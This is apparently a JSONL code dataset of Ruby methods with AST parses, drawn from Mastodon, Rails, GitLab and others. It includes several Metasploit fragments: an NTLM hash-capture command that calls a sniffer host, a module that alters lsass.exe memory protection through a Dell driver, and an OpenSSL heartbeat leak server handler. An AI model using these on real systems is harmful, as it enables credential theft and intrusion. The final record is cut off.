{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/parser/status_parser.rb","start_line":150,"raw_source":"def quote_subpolicy(subpolicy)\n    flags = 0\n\n    allowed_actors = as_array(subpolicy).dup\n    allowed_actors.uniq!\n\n    flags |= Status::QUOTE_APPROVAL_POLICY_FLAGS[:public] if allowed_actors.delete('as:Public') || allowed_actors.delete('Public') || allowed_actors.delete('https://www.w3.org/ns/activitystreams#Public')\n    flags |= Status::QUOTE_APPROVAL_POLICY_FLAGS[:followers] if allowed_actors.delete(@options[:followers_collection])\n    flags |= Status::QUOTE_APPROVAL_POLICY_FLAGS[:following] if allowed_actors.delete(@options[:following_collection])\n\n    # Remove the special-meaning actor URI\n    allowed_actors.delete(@options[:actor_uri])\n\n    # Any unrecognized actor is marked as unsupported\n    flags |= Status::QUOTE_APPROVAL_POLICY_FLAGS[:unsupported_policy] unless allowed_actors.empty?\n\n    flags\n  end","complexity_score":36.4,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_subpolicy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subpolicy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed_actors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_array\",{\"type\":\"lvar\",\"children\":[\"subpolicy\"]}]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_actors\"]},\"uniq!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_actors\"]},\"delete\",{\"type\":\"str\",\"children\":[\"as:Public\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_actors\"]},\"delete\",{\"type\":\"str\",\"children\":[\"Public\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_actors\"]},\"delete\",{\"type\":\"str\",\"children\":[\"https://www.w3.org/ns/activitystreams#Public\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"QUOTE_APPROVAL_POLICY_FLAGS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_actors\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followers_collection\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"QUOTE_APPROVAL_POLICY_FLAGS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"followers\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_actors\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"following_collection\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"QUOTE_APPROVAL_POLICY_FLAGS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"following\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_actors\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"actor_uri\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_actors\"]},\"empty?\"]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"flags\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"QUOTE_APPROVAL_POLICY_FLAGS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unsupported_policy\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"flags\"]}]}]}","id":"09d35bbf-6a03-43b6-a7a8-baad13923589"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":771,"raw_source":"def test_etag_reflects_template_digest\n    get :hello_world\n    assert_response :ok\n    assert_not_nil etag = @response.etag\n\n    request.if_none_match = etag\n    get :hello_world\n    assert_response :not_modified\n\n    modify_template(\"implicit_render_test/hello_world\") do\n      request.if_none_match = etag\n      get :hello_world\n      assert_response :ok\n      assert_not_equal etag, @response.etag\n    end\n  end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_etag_reflects_template_digest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvasgn\",\"children\":[\"etag\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"etag\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"if_none_match=\",{\"type\":\"lvar\",\"children\":[\"etag\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"not_modified\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modify_template\",{\"type\":\"str\",\"children\":[\"implicit_render_test/hello_world\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"if_none_match=\",{\"type\":\"lvar\",\"children\":[\"etag\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"etag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"etag\"]}]}]}]}]}]}","id":"165d1d75-bc47-4b36-b472-b40bbd9c74b3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb","start_line":207,"raw_source":"def cmd_snarf_hashes(*args)\n    if (args.length < 1)\n      print_line(\"Usage: snarf_hashes <sniffer_host>\\n\")\n      print_line(\"Captures LANMAN/NTLM challenge response hashes by making SMB requests to the supplied sniffing host with every accessible token.\\n\")\n      return\n    end\n\n    system_privilege_check\n\n    print_line(\"[*] Snarfing token hashes...\")\n    client.incognito.incognito_snarf_hashes(args[0])\n    print_line(\"[*] Done. Check sniffer logs\")\n\n    return true\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_snarf_hashes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: snarf_hashes <sniffer_host>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Captures LANMAN/NTLM challenge response hashes by making SMB requests to the supplied sniffing host with every accessible token.\\n\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"system_privilege_check\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"[*] Snarfing token hashes...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"incognito\"]},\"incognito_snarf_hashes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"[*] Done. Check sniffer logs\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"dc4152f5-e927-4d26-8500-04f0809f5d13"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/view_test.rb","start_line":117,"raw_source":"def test_reading\n      books = Paperback.all\n      assert_equal [\"Agile Web Development with Rails\"], books.map(&:name)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reading\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"books\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Paperback\"]},\"all\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Agile Web Development with Rails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"books\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"b60074ec-0643-4f97-b35a-9d92965f3a74"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/service_discovery.rb","start_line":227,"raw_source":"def record_type_for(type)\n          RECORD_TYPES.fetch(type) do\n            raise(ArgumentError, \"Unsupported record type: #{type}\")\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"record_type_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RECORD_TYPES\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported record type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]}]}","id":"fc5a5607-d787-4921-8eaf-1b45880598f7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/dell_memory_protect.rb","start_line":99,"raw_source":"def run\n    unless is_system?\n      fail_with(Failure::None, 'Elevated session is required')\n    end\n\n    offsets = get_eproc_offsets\n    if offsets.nil?\n      fail_with(Failure::NoTarget, 'Unsupported target')\n    end\n\n    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n    end\n\n    unless datastore['DRIVER_PATH'].include? '\\\\'\n      fail_with(Failure::BadConfig, \"The driver path must be a file path. User provided: #{datastore['DRIVER_PATH']}\")\n    end\n\n    # If the user doesn't select a PID select lsass.exe for them\n    target_pid = datastore['PID']\n    if target_pid == 0\n      target_pid = pidof('lsass.exe').first\n      print_status(\"Set PID option #{target_pid} for lsass.exe\")\n    end\n\n    params = datastore['DRIVER_PATH']\n    params += ','\n    params += target_pid.to_s\n    params += ','\n    params += (datastore['ENABLE_MEM_PROTECT'] ? '1' : '0')\n    params += ','\n    params += offsets[0].to_s # UniqueProcessIdOffset\n    params += ','\n    params += offsets[1].to_s # ActiveProcessLinksOffset\n    params += ','\n    params += offsets[2].to_s # SignatureLevelOffset\n\n    execute_dll(::File.join(Msf::Config.data_directory, 'exploits', 'dell_protect', 'dell_protect.x64.dll'), params)\n\n    print_good('Exploit finished')\n  end","complexity_score":79.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_system?\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"None\"]},{\"type\":\"str\",\"children\":[\"Elevated session is required\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offsets\",{\"type\":\"send\",\"children\":[null,\"get_eproc_offsets\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offsets\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Unsupported target\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"arch\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Running against WOW64 is not supported\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DRIVER_PATH\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The driver path must be a file path. User provided: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DRIVER_PATH\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PID\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_pid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pidof\",{\"type\":\"str\",\"children\":[\"lsass.exe\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Set PID option \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]}]},{\"type\":\"str\",\"children\":[\" for lsass.exe\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DRIVER_PATH\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]},\"to_s\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ENABLE_MEM_PROTECT\"]}]},{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offsets\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_s\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offsets\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_s\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offsets\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_dll\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"dell_protect\"]},{\"type\":\"str\",\"children\":[\"dell_protect.x64.dll\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Exploit finished\"]}]}]}]}","id":"71baa1a1-a968-4ffb-bbe4-425df2cbeb77"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/access_matchers_helpers.rb","start_line":88,"raw_source":"def run_matcher(action, role, membership, owned_objects)\n    raise_if_non_block_expectation!(action)\n\n    prepare_matcher_environment(role, membership, owned_objects)\n\n    if block_given?\n      yield action\n    else\n      action.call\n    end\n\n    reset_matcher_environment\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_matcher\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"role\"]},{\"type\":\"arg\",\"children\":[\"membership\"]},{\"type\":\"arg\",\"children\":[\"owned_objects\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise_if_non_block_expectation!\",{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_matcher_environment\",{\"type\":\"lvar\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"membership\"]},{\"type\":\"lvar\",\"children\":[\"owned_objects\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"call\"]}]},{\"type\":\"send\",\"children\":[null,\"reset_matcher_environment\"]}]}]}","id":"1a7c59ef-f8c4-4129-b4f6-6e179e4b6400"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/openssl_heartbeat_client_memory.rb","start_line":81,"raw_source":"def on_client_connect(c)\n    @state[c] = {\n      :name => \"#{c.peerhost}:#{c.peerport}\",\n      :ip => c.peerhost,\n      :port => c.peerport,\n      :heartbeats => \"\",\n      :server_random => [Time.now.to_i].pack(\"N\") + Rex::Text.rand_text(28)\n    }\n    print_status(\"#{@state[c][:name]} Connected\")\n  end","complexity_score":15.35,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"peerport\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"peerhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"peerport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"heartbeats\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_random\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text\",{\"type\":\"int\",\"children\":[28]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\" Connected\"]}]}]}]}]}","id":"a361d158-b1d8-41ae-9f16-8fb2dc4e8b40"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/helpers.rb","start_line":24,"raw_source":"def log_in_user(user)\n    cookie_jar = ActionDispatch::Request.new(request.env).cookie_jar\n    provider = Discourse.current_user_provider.new(request.env)\n    provider.log_on_user(user, session, cookie_jar)\n    provider\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_in_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie_jar\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]}]},\"cookie_jar\"]}]},{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"current_user_provider\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"log_on_user\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"cookie_jar\"]}]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]}","id":"52f35bd4-d227-4980-a4c6-6534e56fc0a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/settings/project_custom_field_sections/show_component.rb","start_line":38,"raw_source":"def initialize(project_custom_field_section:, first_and_last: [])\n        super\n\n        @project_custom_field_section = project_custom_field_section\n        @project_custom_fields = project_custom_field_section.custom_fields\n\n        @first_and_last = first_and_last\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_custom_field_section\"]},{\"type\":\"kwoptarg\",\"children\":[\"first_and_last\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@project_custom_field_section\",{\"type\":\"lvar\",\"children\":[\"project_custom_field_section\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project_custom_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_custom_field_section\"]},\"custom_fields\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@first_and_last\",{\"type\":\"lvar\",\"children\":[\"first_and_last\"]}]}]}]}","id":"ba13225d-1fd0-4779-8692-99b90dab39ea"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/style_detected_api_use.rb","start_line":111,"raw_source":"def on_if(node)\n          traverse_condition(node.condition) do |cond|\n            add_offense(cond, message: MSG_FOR_CONDITIONAL_USE) if style_detected_api_used?(cond)\n          end\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"traverse_condition\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"condition\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cond\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style_detected_api_used?\",{\"type\":\"lvar\",\"children\":[\"cond\"]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"cond\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MSG_FOR_CONDITIONAL_USE\"]}]}]}]},null]}]}]}","id":"1fcf7d41-96be-4831-9ae2-50a8d7a1ab65"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":471,"raw_source":"def test_expires_now_with_cache_control_headers\n    get :conditional_hello_with_cache_control_headers\n    assert_match(/no-cache/, @response.headers[\"Cache-Control\"])\n    assert_match(/no-transform/, @response.headers[\"Cache-Control\"])\n  